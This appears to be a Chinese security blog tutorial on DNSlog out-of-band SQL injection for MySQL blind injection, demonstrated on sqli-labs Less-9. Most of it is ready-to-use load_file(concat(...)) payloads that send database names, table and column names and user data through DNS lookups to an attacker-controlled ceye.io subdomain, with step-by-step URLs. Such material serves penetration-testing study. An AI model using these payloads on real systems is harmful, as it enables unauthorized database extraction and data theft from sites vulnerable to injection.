dnslog盲注

dnslog注入原理

通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

DNSlog工具

如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:
https://github.com/BugScanTeam/DNSLog
另外我们也可以使用在线平台:
http://ceye.io
http://www.dnslog.cn

什么情况下使用dnslog注入?

大家在渗透测试的时候可能会遇到一下这些情况:
(1)挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
(2)发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞
总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显
(1)SQL注入中的盲注
(2)XSS盲打
(3)无回显的命令执行
(4)无回显的SSRF
(5)无回显的XXE(Blind XXE)

Mysql DNSlog原理图

在这里插入图片描述

DNSlog盲注利用条件

mysql.ini中secure_file_priv必须为空
(1)当secure_file_priv为null,不允许导入导出
(2)当secure_file_priv为/tmp导入导出只能在/tmp目录下。
(3)当secure_file_priv为空,则不作限制允许导入导出(注意NULL不是我们要的空,NULL和空的类型不一样)

DNSlog盲注操作方式

Payload1:
下面展示一些 内联代码片

?Id=1’and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+

相应的更换 select database()查询语句便可以实现DNS外带的回显注入,其中1ilizz.dnslog.cn为ceye.io平台给每个账号的昵称
查询当前数据库:

and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+

//xtftm5.ceye.io根据ceye平台给你的域名更改,\sql是域名目录,随意即可,select database()换成sql注入payload即可
查询表名:

and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security'limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

查询列名:

and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

查询数据:

and load_file(concat('\\\\',(select username from users limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

Payload2:

and (select load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\aaa')))#

原理跟上面差不多

实战演练

Sqllab的第9关
这里就要借用一个平台:http://ceye.io
在这里插入图片描述

查询当前数据库名:

http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述
回显数据
在这里插入图片描述

查询当前数据库的第一个表名:

http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security'limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述
可以看到这里成返回了第一个表的名字
依次类推可以推出users表

查询第users表一个列名:

http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述

查询users表的username列的数据:

http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述

需要注意的点:

1.查询当前用户时,因为结果中有@符号,使用dnslog注入时,需要使用hex函数进行转码,再将查询到的hex转码后的数据解码即可,如下:

如果使用group_concat函数进行快读查询,也同样需要hex转码,利用如下:

http://127.0.0.1/sqllab/Less-9/?id=1'and load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='security'),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述
在这里插入图片描述查询到的是hex编码的结果
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值